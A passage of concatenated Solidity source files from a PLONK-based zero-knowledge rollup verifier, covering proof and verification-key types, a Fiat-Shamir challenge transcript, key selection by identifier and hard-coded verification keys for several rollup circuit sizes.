partial_grand_product := addmod(mulmod(addmod(partial_grand_product, mulmod(l_start, alpha_base, p), p), linear_challenge, p), separator_challenge, p)
alpha_base := mulmod(alpha_base, alpha, p)
}
challenges.alpha_base = alpha_base;
}
Types.G1Point memory Z = proof.Z;
Types.G1Point memory SIGMA4 = vk.SIGMA4;
Types.G1Point memory accumulator;
Z.validateG1Point();
SIGMA4.validateG1Point();
bool success;
assembly {
let mPtr := mload(0x40)
mstore(mPtr, mload(Z))
mstore(add(mPtr, 0x20), mload(add(Z, 0x20)))
mstore(add(mPtr, 0x40), partial_grand_product)
success := staticcall(gas(), 7, mPtr, 0x60, mPtr, 0x40)
mstore(add(mPtr, 0x40), mload(SIGMA4))
mstore(add(mPtr, 0x60), mload(add(SIGMA4, 0x20)))
mstore(add(mPtr, 0x80), sigma_multiplier)
success := and(success, staticcall(gas(), 7, add(mPtr, 0x40), 0x60, add(mPtr, 0x40), 0x40))
success := and(success, staticcall(gas(), 6, mPtr, 0x80, accumulator, 0x40))
}
require(success, "compute_grand_product_opening_scalar group operations failure");
return accumulator;
}
}
// SPDX-License-Identifier: GPL-2.0-only
// Copyright 2020 Spilsbury Holdings Ltd
pragma solidity >=0.6.0 <0.8.0;
pragma experimental ABIEncoderV2;
/**
* @title Bn254Crypto library used for the fr, g1 and g2 point types
* @dev Used to manipulate fr, g1, g2 types, perform modular arithmetic on them and call
* the precompiles add, scalar mul and pairing
*
* Notes on optimisations
* 1) Perform addmod, mulmod etc. in assembly - removes the check that Solidity performs to confirm that
* the supplied modulus is not 0. This is safe as the modulus's used (r_mod, q_mod) are hard coded
* inside the contract and not supplied by the user
*/
library Types {
uint256 constant PROGRAM_WIDTH = 4;
uint256 constant NUM_NU_CHALLENGES = 11;
uint256 constant coset_generator0 = 0x0000000000000000000000000000000000000000000000000000000000000005;
uint256 constant coset_generator1 = 0x0000000000000000000000000000000000000000000000000000000000000006;
uint256 constant coset_generator2 = 0x0000000000000000000000000000000000000000000000000000000000000007;
// TODO: add external_coset_generator() method to compute this
uint256 constant coset_generator7 = 0x000000000000000000000000000000000000000000000000000000000000000c;
struct G1Point {
uint256 x;
uint256 y;
}
// G2 group element where x \in Fq2 = x0 * z + x1
struct G2Point {
uint256 x0;
uint256 x1;
uint256 y0;
uint256 y1;
}
// N>B. Do not re-order these fields! They must appear in the same order as they
// appear in the proof data
struct Proof {
G1Point W1;
G1Point W2;
G1Point W3;
G1Point W4;
G1Point Z;
G1Point T1;
G1Point T2;
G1Point T3;
G1Point T4;
uint256 w1;
uint256 w2;
uint256 w3;
uint256 w4;
uint256 sigma1;
uint256 sigma2;
uint256 sigma3;
uint256 q_arith;
uint256 q_ecc;
uint256 q_c;
uint256 linearization_polynomial;
uint256 grand_product_at_z_omega;
uint256 w1_omega;
uint256 w2_omega;
uint256 w3_omega;
uint256 w4_omega;
G1Point PI_Z;
G1Point PI_Z_OMEGA;
G1Point recursive_P1;
G1Point recursive_P2;
uint256 quotient_polynomial_eval;
}
struct ChallengeTranscript {
uint256 alpha_base;
uint256 alpha;
uint256 zeta;
uint256 beta;
uint256 gamma;
uint256 u;
uint256 v0;
uint256 v1;
uint256 v2;
uint256 v3;
uint256 v4;
uint256 v5;
uint256 v6;
uint256 v7;
uint256 v8;
uint256 v9;
uint256 v10;
}
struct VerificationKey {
uint256 circuit_size;
uint256 num_inputs;
uint256 work_root;
uint256 domain_inverse;
uint256 work_root_inverse;
G1Point Q1;
G1Point Q2;
G1Point Q3;
G1Point Q4;
G1Point Q5;
G1Point QM;
G1Point QC;
G1Point QARITH;
G1Point QECC;
G1Point QRANGE;
G1Point QLOGIC;
G1Point SIGMA1;
G1Point SIGMA2;
G1Point SIGMA3;
G1Point SIGMA4;
bool contains_recursive_proof;
uint256 recursive_proof_indices;
G2Point g2_x;
// zeta challenge raised to the power of the circuit size.
// Not actually part of the verification key, but we put it here to prevent stack depth errors
uint256 zeta_pow_n;
}
}
// SPDX-License-Identifier: GPL-2.0-only
// Copyright 2020 Spilsbury Holdings Ltd
pragma solidity >=0.6.0 <0.8.0;
pragma experimental ABIEncoderV2;
import {Types} from '../cryptography/Types.sol';
import {Rollup1x1Vk} from '../keys/Rollup1x1Vk.sol';
import {Rollup1x2Vk} from '../keys/Rollup1x2Vk.sol';
import {Rollup1x4Vk} from '../keys/Rollup1x4Vk.sol';
import {Rollup28x1Vk} from '../keys/Rollup28x1Vk.sol';
import {Rollup28x2Vk} from '../keys/Rollup28x2Vk.sol';
import {Rollup28x4Vk} from '../keys/Rollup28x4Vk.sol';
// import {Rollup28x8Vk} from '../keys/Rollup28x8Vk.sol';
// import {Rollup28x16Vk} from '../keys/Rollup28x16Vk.sol';
// import {Rollup28x32Vk} from '../keys/Rollup28x32Vk.sol';
import {EscapeHatchVk} from '../keys/EscapeHatchVk.sol';
/**
* @title Verification keys library
* @dev Used to select the appropriate verification key for the proof in question
*/
library VerificationKeys {
/**
* @param _keyId - verification key identifier used to select the appropriate proof's key
* @return Verification key
*/
function getKeyById(uint256 _keyId) external pure returns (Types.VerificationKey memory) {
// added in order: qL, qR, qO, qC, qM. x coord first, followed by y coord
Types.VerificationKey memory vk;
if (_keyId == 0) {
vk = EscapeHatchVk.get_verification_key();
} else if (_keyId == 1) {
vk = Rollup1x1Vk.get_verification_key();
} else if (_keyId == 2) {
vk = Rollup1x2Vk.get_verification_key();
} else if (_keyId == 4) {
vk = Rollup1x4Vk.get_verification_key();
} else if (_keyId == 32) {
vk = Rollup28x1Vk.get_verification_key();
} else if (_keyId == 64) {
vk = Rollup28x2Vk.get_verification_key();
} else if (_keyId == 128) {
vk = Rollup28x4Vk.get_verification_key();
// } else if (_keyId == 256) {
// vk = Rollup28x8Vk.get_verification_key();
// } else if (_keyId == 512) {
// vk = Rollup28x16Vk.get_verification_key();
// } else if (_keyId == 1024) {
// vk = Rollup28x32Vk.get_verification_key();
} else {
require(false, 'UNKNOWN_KEY_ID');
}
return vk;
}
}
// SPDX-License-Identifier: GPL-2.0-only
// Copyright 2020 Spilsbury Holdings Ltd
pragma solidity >=0.6.0 <0.8.0;
pragma experimental ABIEncoderV2;
import {Types} from './Types.sol';
import {Bn254Crypto} from './Bn254Crypto.sol';
/**
* @title Transcript library
* @dev Generates Plonk random challenges
*/
library Transcript {
struct TranscriptData {
bytes32 current_challenge;
}
/**
* Compute keccak256 hash of 2 4-byte variables (circuit_size, num_public_inputs)
*/
function generate_initial_challenge(
TranscriptData memory self,
uint256 circuit_size,
uint256 num_public_inputs
) internal pure {
bytes32 challenge;
assembly {
let mPtr := mload(0x40)
mstore8(add(mPtr, 0x20), shr(24, circuit_size))
mstore8(add(mPtr, 0x21), shr(16, circuit_size))
mstore8(add(mPtr, 0x22), shr(8, circuit_size))
mstore8(add(mPtr, 0x23), circuit_size)
mstore8(add(mPtr, 0x24), shr(24, num_public_inputs))
mstore8(add(mPtr, 0x25), shr(16, num_public_inputs))
mstore8(add(mPtr, 0x26), shr(8, num_public_inputs))
mstore8(add(mPtr, 0x27), num_public_inputs)
challenge := keccak256(add(mPtr, 0x20), 0x08)
}
self.current_challenge = challenge;
}
/**
* We treat the beta challenge as a special case, because it includes the public inputs.
* The number of public inputs can be extremely large for rollups and we want to minimize mem consumption.
* => we directly allocate memory to hash the public inputs, in order to prevent the global memory pointer from increasing
*/
function generate_beta_gamma_challenges(
TranscriptData memory self,
Types.ChallengeTranscript memory challenges,
uint256 num_public_inputs
) internal pure {
bytes32 challenge;
bytes32 old_challenge = self.current_challenge;
uint256 p = Bn254Crypto.r_mod;
uint256 reduced_challenge;
assembly {
let m_ptr := mload(0x40)
// N.B. If the calldata ABI changes this code will need to change!
// We can copy all of the public inputs, followed by the wire commitments, into memory
// using calldatacopy
mstore(m_ptr, old_challenge)
m_ptr := add(m_ptr, 0x20)
let inputs_start := add(calldataload(0x04), 0x24)
// num_calldata_bytes = public input size + 256 bytes for the 4 wire commitments
let num_calldata_bytes := add(0x100, mul(num_public_inputs, 0x20))
calldatacopy(m_ptr, inputs_start, num_calldata_bytes)
let start := mload(0x40)
let length := add(num_calldata_bytes, 0x20)
challenge := keccak256(start, length)
reduced_challenge := mod(challenge, p)
}
challenges.beta = reduced_challenge;
// get gamma challenge by appending 1 to the beta challenge and hash
assembly {
mstore(0x00, challenge)
mstore8(0x20, 0x01)
challenge := keccak256(0, 0x21)
reduced_challenge := mod(challenge, p)
}
challenges.gamma = reduced_challenge;
self.current_challenge = challenge;
}
function generate_alpha_challenge(
TranscriptData memory self,
Types.ChallengeTranscript memory challenges,
Types.G1Point memory Z
) internal pure {
bytes32 challenge;
bytes32 old_challenge = self.current_challenge;
uint256 p = Bn254Crypto.r_mod;
uint256 reduced_challenge;
assembly {
let m_ptr := mload(0x40)
mstore(m_ptr, old_challenge)
mstore(add(m_ptr, 0x20), mload(add(Z, 0x20)))
mstore(add(m_ptr, 0x40), mload(Z))
challenge := keccak256(m_ptr, 0x60)
reduced_challenge := mod(challenge, p)
}
challenges.alpha = reduced_challenge;
challenges.alpha_base = reduced_challenge;
self.current_challenge = challenge;
}
function generate_zeta_challenge(
TranscriptData memory self,
Types.ChallengeTranscript memory challenges,
Types.G1Point memory T1,
Types.G1Point memory T2,
Types.G1Point memory T3,
Types.G1Point memory T4
) internal pure {
bytes32 challenge;
bytes32 old_challenge = self.current_challenge;
uint256 p = Bn254Crypto.r_mod;
uint256 reduced_challenge;
assembly {
let m_ptr := mload(0x40)
mstore(m_ptr, old_challenge)
mstore(add(m_ptr, 0x20), mload(add(T1, 0x20)))
mstore(add(m_ptr, 0x40), mload(T1))
mstore(add(m_ptr, 0x60), mload(add(T2, 0x20)))
mstore(add(m_ptr, 0x80), mload(T2))
mstore(add(m_ptr, 0xa0), mload(add(T3, 0x20)))
mstore(add(m_ptr, 0xc0), mload(T3))
mstore(add(m_ptr, 0xe0), mload(add(T4, 0x20)))
mstore(add(m_ptr, 0x100), mload(T4))
challenge := keccak256(m_ptr, 0x120)
reduced_challenge := mod(challenge, p)
}
challenges.zeta = reduced_challenge;
self.current_challenge = challenge;
}
/**
* We compute our initial nu challenge by hashing the following proof elements (with the current challenge):
*
* w1, w2, w3, w4, sigma1, sigma2, sigma3, q_arith, q_ecc, q_c, linearization_poly, grand_product_at_z_omega,
* w1_omega, w2_omega, w3_omega, w4_omega
*
* These values are placed linearly in the proofData, we can extract them with a calldatacopy call
*
*/
function generate_nu_challenges(TranscriptData memory self, Types.ChallengeTranscript memory challenges, uint256 quotient_poly_eval, uint256 num_public_inputs) internal pure
{
uint256 p = Bn254Crypto.r_mod;
bytes32 current_challenge = self.current_challenge;
uint256 base_v_challenge;
uint256 updated_v;
// We want to copy SIXTEEN field elements from calldata into memory to hash
// But we start by adding the quotient poly evaluation to the hash transcript
assembly {
// get a calldata pointer that points to the start of the data we want to copy
let calldata_ptr := add(calldataload(0x04), 0x24)
// skip over the public inputs
calldata_ptr := add(calldata_ptr, mul(num_public_inputs, 0x20))
// There are NINE G1 group elements added into the transcript in the `beta` round, that we need to skip over
calldata_ptr := add(calldata_ptr, 0x240) // 9 * 0x40 = 0x240
let m_ptr := mload(0x40)
mstore(m_ptr, current_challenge)
mstore(add(m_ptr, 0x20), quotient_poly_eval)
calldatacopy(add(m_ptr, 0x40), calldata_ptr, 0x200) // 16 * 0x20 = 0x200
base_v_challenge := keccak256(m_ptr, 0x240) // hash length = 0x240, we include the previous challenge in the hash
updated_v := mod(base_v_challenge, p)
}
// assign the first challenge value
challenges.v0 = updated_v;
// for subsequent challenges we iterate 10 times.
// At each iteration i \in [1, 10] we compute challenges.vi = keccak256(base_v_challenge, byte(i))
assembly {
mstore(0x00, base_v_challenge)
mstore8(0x20, 0x01)
updated_v := mod(keccak256(0x00, 0x21), p)
}
challenges.v1 = updated_v;
assembly {
mstore8(0x20, 0x02)
updated_v := mod(keccak256(0x00, 0x21), p)
}
challenges.v2 = updated_v;
assembly {
mstore8(0x20, 0x03)
updated_v := mod(keccak256(0x00, 0x21), p)
}
challenges.v3 = updated_v;
assembly {
mstore8(0x20, 0x04)
updated_v := mod(keccak256(0x00, 0x21), p)
}
challenges.v4 = updated_v;
assembly {
mstore8(0x20, 0x05)
updated_v := mod(keccak256(0x00, 0x21), p)
}
challenges.v5 = updated_v;
assembly {
mstore8(0x20, 0x06)
updated_v := mod(keccak256(0x00, 0x21), p)
}
challenges.v6 = updated_v;
assembly {
mstore8(0x20, 0x07)
updated_v := mod(keccak256(0x00, 0x21), p)
}
challenges.v7 = updated_v;
assembly {
mstore8(0x20, 0x08)
updated_v := mod(keccak256(0x00, 0x21), p)
}
challenges.v8 = updated_v;
assembly {
mstore8(0x20, 0x09)
updated_v := mod(keccak256(0x00, 0x21), p)
}
challenges.v9 = updated_v;
// update the current challenge when computing the final nu challenge
bytes32 challenge;
assembly {
mstore8(0x20, 0x0a)
challenge := keccak256(0x00, 0x21)
updated_v := mod(challenge, p)
}
challenges.v10 = updated_v;
self.current_challenge = challenge;
}
function generate_separator_challenge(
TranscriptData memory self,
Types.ChallengeTranscript memory challenges,
Types.G1Point memory PI_Z,
Types.G1Point memory PI_Z_OMEGA
) internal pure {
bytes32 challenge;
bytes32 old_challenge = self.current_challenge;
uint256 p = Bn254Crypto.r_mod;
uint256 reduced_challenge;
assembly {
let m_ptr := mload(0x40)
mstore(m_ptr, old_challenge)
mstore(add(m_ptr, 0x20), mload(add(PI_Z, 0x20)))
mstore(add(m_ptr, 0x40), mload(PI_Z))
mstore(add(m_ptr, 0x60), mload(add(PI_Z_OMEGA, 0x20)))
mstore(add(m_ptr, 0x80), mload(PI_Z_OMEGA))
challenge := keccak256(m_ptr, 0xa0)
reduced_challenge := mod(challenge, p)
}
challenges.u = reduced_challenge;
self.current_challenge = challenge;
}
}
// SPDX-License-Identifier: GPL-2.0-only
// Copyright 2020 Spilsbury Holdings Ltd
pragma solidity >=0.6.10 <0.8.0;
interface IVerifier {
function verify(bytes memory serialized_proof, uint256 _keyId) external;
}
// SPDX-License-Identifier: GPL-2.0-only
// Copyright 2020 Spilsbury Holdings Ltd
pragma solidity >=0.6.0 <0.8.0;
pragma experimental ABIEncoderV2;
import {Types} from '../cryptography/Types.sol';
import {Bn254Crypto} from '../cryptography/Bn254Crypto.sol';
library Rollup1x1Vk {
using Bn254Crypto for Types.G1Point;
using Bn254Crypto for Types.G2Point;
function get_verification_key() internal pure returns (Types.VerificationKey memory) {
Types.VerificationKey memory vk;
assembly {
mstore(add(vk, 0x00), 1048576) // vk.circuit_size
mstore(add(vk, 0x20), 42) // vk.num_inputs
mstore(add(vk, 0x40),0x26125da10a0ed06327508aba06d1e303ac616632dbed349f53422da953337857) // vk.work_root
mstore(add(vk, 0x60),0x30644b6c9c4a72169e4daa317d25f04512ae15c53b34e8f5acd8e155d0a6c101) // vk.domain_inverse
mstore(add(vk, 0x80),0x100c332d2100895fab6473bc2c51bfca521f45cb3baca6260852a8fde26c91f3) // vk.work_root_inverse
mstore(mload(add(vk, 0xa0)), 0x1f2ac4d179286e11ea27474eb42a59e783378ef2d4b3dcaf53bcc4bfd5766cdf)//vk.Q1
mstore(add(mload(add(vk, 0xa0)), 0x20), 0x037b973ea64359336003789dd5c14e0d08427601633f7a60915c233e2416793b)
mstore(mload(add(vk, 0xc0)), 0x09a89b78e80f9a471318ca402938418bb3df1bf743b37237593e5d61210a36b4)//vk.Q2
mstore(add(mload(add(vk, 0xc0)), 0x20), 0x2b7e8fd3a325fa5319243146c0264e5447f55f9bbed7638db81260e2953c055c)
mstore(mload(add(vk, 0xe0)), 0x08b939500bec7b7468ba394ce9630842c3847a45f3771440c958315e426124b0)//vk.Q3
mstore(add(mload(add(vk, 0xe0)), 0x20), 0x2fc02df0bface1f5d03869b3e2c354c2504238dd9474a367dcb4e3d9da568ebb)
mstore(mload(add(vk, 0x100)), 0x2c3ad8425d75ac138dba56485d90edcc021f60327be3498b4e3fe27be3d56295)//vk.Q4
mstore(add(mload(add(vk, 0x100)), 0x20), 0x217fa454c2018d20ac6d691580f40bba410b37bbd05af596b7de276b4fb1f6ee)
mstore(mload(add(vk, 0x120)), 0x15a1de41f51208defd88775e97fef82bf3ab02d8668b47db61dfeb47cd4f245b)//vk.Q5
mstore(add(mload(add(vk, 0x120)), 0x20), 0x12f7d8bb05da8297beadd0d252e1ad442ffa1e417a7409cb8f5fdd9aa7f8c0f6)
mstore(mload(add(vk, 0x140)), 0x1ab0878c1bdb3f32a0852d57d8c4a34596fd3cd05d7c993cb13ea693e8811bbf)//vk.QM
mstore(add(mload(add(vk, 0x140)), 0x20), 0x1288c1f417fb0b2824e6cfbf2ef2f0b7779b5021c31bc7fcd6ab2548098e3120)
mstore(mload(add(vk, 0x160)), 0x061b6360be0227a86a035b045aef240eb58589053fce87c01c720bda452f43d1)//vk.QC
mstore(add(mload(add(vk, 0x160)), 0x20), 0x01156ab445d61985688f31ec54c6cd62d316d0c87cade32706fd236c2e93d96c)
mstore(mload(add(vk, 0x180)), 0x0b0f5891e864b4017a747aa299632bfe31a889aad3f3de6a01852b1ce243001e)//vk.QARITH
mstore(add(mload(add(vk, 0x180)), 0x20), 0x0c9fcc80878d243d6188504c7887f5f1fa75ab2bf26ffccf756eee03c8a84c76)
mstore(mload(add(vk, 0x1a0)), 0x2f9db190db59e2a2d54873e289c85cbbb7ae92c313ec601b431f497e98b0a421)//vk.QECC
mstore(add(mload(add(vk, 0x1a0)), 0x20), 0x13e353dc36b2271889f3914bd574bbf7543591e0ee3e0536602f34b2283815b0)
mstore(mload(add(vk, 0x1c0)), 0x2abffcb12d5d0076a25e93b0c7fc92189796618f174bb7d1af5fc920676117be)//vk.QRANGE
mstore(add(mload(add(vk, 0x1c0)), 0x20), 0x068a7d9bcb8ad26f29607644a4e06c1bc4be3ce7febd65bde61879a24e570115)
mstore(mload(add(vk, 0x1e0)), 0x20735c1704fee325f652a4a61b3fe620130f9c868d6430f9ace2a782e4cd474e)//vk.QLOGIC
mstore(add(mload(add(vk, 0x1e0)), 0x20), 0x217a0dc7aa32d5ec9f686718931304a9673229626cbfa0d9e30501e546331f4b)
mstore(mload(add(vk, 0x200)), 0x20cff9441d3a303e85c353ce25709bef99d5a07dec6e6d76c9e97cb68e3fd311)//vk.SIGMA1
mstore(add(mload(add(vk, 0x200)), 0x20), 0x1d93dc5472d57a5863b6dc93891d875ade34abf17a06154b6793c187111fc9a3)
mstore(mload(add(vk, 0x220)), 0x1c5a9c2747d0b4788343819582cd7d76a577a46b718315fd8361ee86845384b3)//vk.SIGMA2
mstore(add(mload(add(vk, 0x220)), 0x20), 0x069b936b21b217b81107423f7eb9772a0295009e1ca7b449febdf11bd967b391)
mstore(mload(add(vk, 0x240)), 0x162904b9f7b4cc5fb50b7440e1e885c5bf10646a1701f2b7286bcd237ba52c64)//vk.SIGMA3
mstore(add(mload(add(vk, 0x240)), 0x20), 0x0f281022f4802d347c838ba2390a5ed9430d596c8a3dc831f50ecf0bb872c974)
mstore(mload(add(vk, 0x260)), 0x1ac525fe26d3a6aebce5d7e0e09643a8193eff2bd2f6d35262460233353cbaad)//vk.SIGMA4
mstore(add(mload(add(vk, 0x260)), 0x20), 0x16eb8c3d631fd40449c8ae2e025a04660b2548b9783805868d74b7ef6e1f7d12)
mstore(add(vk, 0x280), 0x01) // vk.contains_recursive_proof
mstore(add(vk, 0x2a0), 26) // vk.recursive_proof_public_input_indices
mstore(mload(add(vk, 0x2c0)), 0x260e01b251f6f1c7e7ff4e580791dee8ea51d87a358e038b4efe30fac09383c1) // vk.g2_x.X.c1
mstore(add(mload(add(vk, 0x2c0)), 0x20), 0x0118c4d5b837bcc2bc89b5b398b5974e9f5944073b32078b7e231fec938883b0) // vk.g2_x.X.c0
mstore(add(mload(add(vk, 0x2c0)), 0x40), 0x04fc6369f7110fe3d25156c1bb9a72859cf2a04641f99ba4ee413c80da6a5fe4) // vk.g2_x.Y.c1
mstore(add(mload(add(vk, 0x2c0)), 0x60), 0x22febda3c0c0632a56475b4214e5615e11e6dd3f96e6cea2854a87d4dacc5e55) // vk.g2_x.Y.c0
}
return vk;
}
}
// SPDX-License-Identifier: GPL-2.0-only
// Copyright 2020 Spilsbury Holdings Ltd
pragma solidity >=0.6.0 <0.8.0;
pragma experimental ABIEncoderV2;
import {Types} from '../cryptography/Types.sol';
import {Bn254Crypto} from '../cryptography/Bn254Crypto.sol';
library Rollup1x2Vk {
using Bn254Crypto for Types.G1Point;
using Bn254Crypto for Types.G2Point;
function get_verification_key() internal pure returns (Types.VerificationKey memory) {
Types.VerificationKey memory vk;
assembly {
mstore(add(vk, 0x00), 2097152) // vk.circuit_size
mstore(add(vk, 0x20), 54) // vk.num_inputs
mstore(add(vk, 0x40),0x1ded8980ae2bdd1a4222150e8598fc8c58f50577ca5a5ce3b2c87885fcd0b523) // vk.work_root
mstore(add(vk, 0x60),0x30644cefbebe09202b4ef7f3ff53a4511d70ff06da772cc3785d6b74e0536081) // vk.domain_inverse
mstore(add(vk, 0x80),0x19c6dfb841091b14ab14ecc1145f527850fd246e940797d3f5fac783a376d0f0) // vk.work_root_inverse
mstore(mload(add(vk, 0xa0)), 0x2035797d3cfe55fb2cb1d7495a7bd8557579193cffa8b2869ef1e6334d7c0370)//vk.Q1
mstore(add(mload(add(vk, 0xa0)), 0x20), 0x1cff5ff0b7b2373e36ebb6fe7fd43de16e3da206b845a80312cbde147e33df3c)
mstore(mload(add(vk, 0xc0)), 0x13fd1d48ec231af1c268d63a7eecac135183fe49a97e1d8cb52a485110c99771)//vk.Q2
mstore(add(mload(add(vk, 0xc0)), 0x20), 0x1519d84f5732134d01f7991ed0a23bdfac4e1abf132c8c81ef3db223cc798547)
mstore(mload(add(vk, 0xe0)), 0x1f8f37443d6b35f4e37d9227d8c7b705b0ce0137eba7c31f67f0ff305c435f06)//vk.Q3
mstore(add(mload(add(vk, 0xe0)), 0x20), 0x02aa9e7e15d6066825ed4cb9ee26dc3c792cf947aaecbdb082e2ebf8934f2635)
mstore(mload(add(vk, 0x100)), 0x0ebdf890f294b514a792518762d47c1ea8682dec1eaed7d8a9da9b529ee1d4b9)//vk.Q4
mstore(add(mload(add(vk, 0x100)), 0x20), 0x2fbded8ed1cb6e11c285c4db14197b26bc9dd5c48fc0cfb3c3b6d357ae9ed89b)
mstore(mload(add(vk, 0x120)), 0x12c597dd13b50f505d34fbb6a6ca15c913f87f71f312a838438c2e5818f35847)//vk.Q5
mstore(add(mload(add(vk, 0x120)), 0x20), 0x0664442fff533df8eae9add8b011c8c24332efb23e00da3bb145ecd2e32102a5)
mstore(mload(add(vk, 0x140)), 0x284f4d6d4a99337a45e9c222d5e05243ff276d3736456dfacc449bd6ef2511ce)//vk.QM
mstore(add(mload(add(vk, 0x140)), 0x20), 0x2adfeaaceb6331071fcf41d290322be8025dd2d5615b9a13078f235530faa1b6)
mstore(mload(add(vk, 0x160)), 0x06517b067977fe1743c8b429c032f6fd3846ae20997d2dd05813a10701fc5348)//vk.QC
mstore(add(mload(add(vk, 0x160)), 0x20), 0x1b209661353dbdf602b85ab124e30051aadee936d68610493889fe633a4191a1)
mstore(mload(add(vk, 0x180)), 0x04e67fcb0781f800e131d3f98a584b333b7e9ba24f8f1848156412e9d7cad7c4)//vk.QARITH
mstore(add(mload(add(vk, 0x180)), 0x20), 0x1c50e0a2d57ddf592a0b03c6942451d7744e34402f6a330ac149a05f6c8dc431)
mstore(mload(add(vk, 0x1a0)), 0x149e9c48163b7050a2a0fc14f3c1f9b774f1dd2f2d1248cd8d4fadce6e754129)//vk.QECC
mstore(add(mload(add(vk, 0x1a0)), 0x20), 0x2d9406755cf062c4f9afa31c1124ea66a7650821fb8ef7c89865687126c610b1)
mstore(mload(add(vk, 0x1c0)), 0x26feacb1c66490c9239f6ebe1882a34d48d808c7d778b43039c7bff795c517ae)//vk.QRANGE
mstore(add(mload(add(vk, 0x1c0)), 0x20), 0x05e6597b85e3438d4345377c2cc4707ae55a58e1b8658b420608d19a44a7c66c)
mstore(mload(add(vk, 0x1e0)), 0x2956cd5126b44362be7d9d9bc63ac056d6da0f952aa17cfcf9c79929b95477a1)//vk.QLOGIC
mstore(add(mload(add(vk, 0x1e0)), 0x20), 0x19fe15891be1421df2599a8b0bd3f0e0b852abc71fdc7b0ccecfe42a5b7f7198)
mstore(mload(add(vk, 0x200)), 0x03328c296b883fbe931776cf309004a3b819fab885f790a51d1430167b24698e)//vk.SIGMA1
mstore(add(mload(add(vk, 0x200)), 0x20), 0x2a76d6ca1d88c2e9ad2e18c03215fafc81ac163ecfe79ddf060d4f4b7389c03d)
mstore(mload(add(vk, 0x220)), 0x11e7c17289e04208ec90a76ecbe436120193debae02fba654ae61d0b83d1abe1)//vk.SIGMA2
mstore(add(mload(add(vk, 0x220)), 0x20), 0x17f03d09230f58660f79a93fd27339763996794c6346527ed1ddb06ffb830240)
mstore(mload(add(vk, 0x240)), 0x0f58505fafa98e131cc94bcc57fa21d89b2797113bd263889665fc74f86b540b)//vk.SIGMA3
mstore(add(mload(add(vk, 0x240)), 0x20), 0x153e8f0949a7c7f83ba8e6a6418b254c5703e836f864657ca8adf17facbe3edf)
mstore(mload(add(vk, 0x260)), 0x1dd744cc20dcde91df6e12965f9b4572b37e898ab61cce8580a8635f76922d66)//vk.SIGMA4
mstore(add(mload(add(vk, 0x260)), 0x20), 0x1480e010037944e5c157ab07ce92e07bd367c74f5710a8229fcfecfd1cf860f2)
mstore(add(vk, 0x280), 0x01) // vk.contains_recursive_proof
mstore(add(vk, 0x2a0), 38) // vk.recursive_proof_public_input_indices
mstore(mload(add(vk, 0x2c0)), 0x260e01b251f6f1c7e7ff4e580791dee8ea51d87a358e038b4efe30fac09383c1) // vk.g2_x.X.c1
mstore(add(mload(add(vk, 0x2c0)), 0x20), 0x0118c4d5b837bcc2bc89b5b398b5974e9f5944073b32078b7e231fec938883b0) // vk.g2_x.X.c0
mstore(add(mload(add(vk, 0x2c0)), 0x40), 0x04fc6369f7110fe3d25156c1bb9a72859cf2a04641f99ba4ee413c80da6a5fe4) // vk.g2_x.Y.c1
mstore(add(mload(add(vk, 0x2c0)), 0x60), 0x22febda3c0c0632a56475b4214e5615e11e6dd3f96e6cea2854a87d4dacc5e55) // vk.g2_x.Y.c0
}
return vk;
}
}
// SPDX-License-Identifier: GPL-2.0-only
// Copyright 2020 Spilsbury Holdings Ltd
pragma solidity >=0.6.0 <0.8.0;
pragma experimental ABIEncoderV2;
import {Types} from '../cryptography/Types.sol';
import {Bn254Crypto} from '../cryptography/Bn254Crypto.sol';
library Rollup1x4Vk {
using Bn254Crypto for Types.G1Point;
using Bn254Crypto for Types.G2Point;
function get_verification_key() internal pure returns (Types.VerificationKey memory) {
Types.VerificationKey memory vk;
assembly {
mstore(add(vk, 0x00), 4194304) // vk.circuit_size
mstore(add(vk, 0x20), 78) // vk.num_inputs
mstore(add(vk, 0x40),0x1ad92f46b1f8d9a7cda0ceb68be08215ec1a1f05359eebbba76dde56a219447e) // vk.work_root
mstore(add(vk, 0x60),0x30644db14ff7d4a4f1cf9ed5406a7e5722d273a7aa184eaa5e1fb0846829b041) // vk.domain_inverse
mstore(add(vk, 0x80),0x2eb584390c74a876ecc11e9c6d3c38c3d437be9d4beced2343dc52e27faa1396) // vk.work_root_inverse
mstore(mload(add(vk, 0xa0)), 0x1905de26e0521f6770bd0f862fe4e0eec67f12507686404c6446757a98a37814)//vk.Q1
mstore(add(mload(add(vk, 0xa0)), 0x20), 0x0694957d080b0decf988c57dced5f3b5e3484d68025a3e835bef2d99be6be002)
mstore(mload(add(vk, 0xc0)), 0x0ca202177999ac7977504b6cc300641a9b4298c8aa558aec3ee94c30b5a15aec)//vk.Q2
mstore(add(mload(add(vk, 0xc0)), 0x20), 0x2fc822dddd433de2e74843c0bfcf4f8364a68a50a27b9e7e8cb34f21533e258c)
mstore(mload(add(vk, 0xe0)), 0x1a18221746331118b68efbeac03a4f473a71bfd5d382852e2793701af36eba06)//vk.Q3
mstore(add(mload(add(vk, 0xe0)), 0x20), 0x21b2c1cd7c94a3d2408da26cf1f3d3375c601760a79482393f9ff6b922158c3d)
mstore(mload(add(vk, 0x100)), 0x2346c947ff02dca4de5e54b2253d037776fbcfe0fdad86638e9db890da71c049)//vk.Q4
mstore(add(mload(add(vk, 0x100)), 0x20), 0x0d97ce16eb882cee8465f26d5d551a7d9d3b4919d8e88534a9f9e5c8bc4edd4a)
mstore(mload(add(vk, 0x120)), 0x098db84adc95fb46bee39c99b82c016f462f1221a4ed3aff5e3091e6f998efab)//vk.Q5
mstore(add(mload(add(vk, 0x120)), 0x20), 0x2f9a9bf026f0e7bca888b888b7329e6e6c3aa838676807ed043447568477ae1c)
mstore(mload(add(vk, 0x140)), 0x12eca0c50cefe2f40970e31c3bf0cc86759947cb551ce64d4d0d9f1b506e7804)//vk.QM
mstore(add(mload(add(vk, 0x140)), 0x20), 0x1754769e1f2b2d2d6b02eeb4177d550b2d64b27c487f7e3a1901b8bb7c079dbd)
mstore(mload(add(vk, 0x160)), 0x1c6a1a9155a078ee45d77612cdfb952be0a9b1ccf28a1952862bb14dca612df0)//vk.QC
mstore(add(mload(add(vk, 0x160)), 0x20), 0x2b49a3c68393f7432426bc88001731bd19b39bc4440a6e92a22c808ee79cef0b)
mstore(mload(add(vk, 0x180)), 0x2bf6295f483d0c31a2cd59d90660ae15322fbd7f2c7de91f632e4d85bb9e5542)//vk.QARITH
mstore(add(mload(add(vk, 0x180)), 0x20), 0x03f9cc8c1db059f7efe6139ac124818a803b83a878899371659e4effcdd34634)
mstore(mload(add(vk, 0x1a0)), 0x198db1e92d744866cff883596651252349cba329e34e188fea3d5e8688e96d80)//vk.QECC
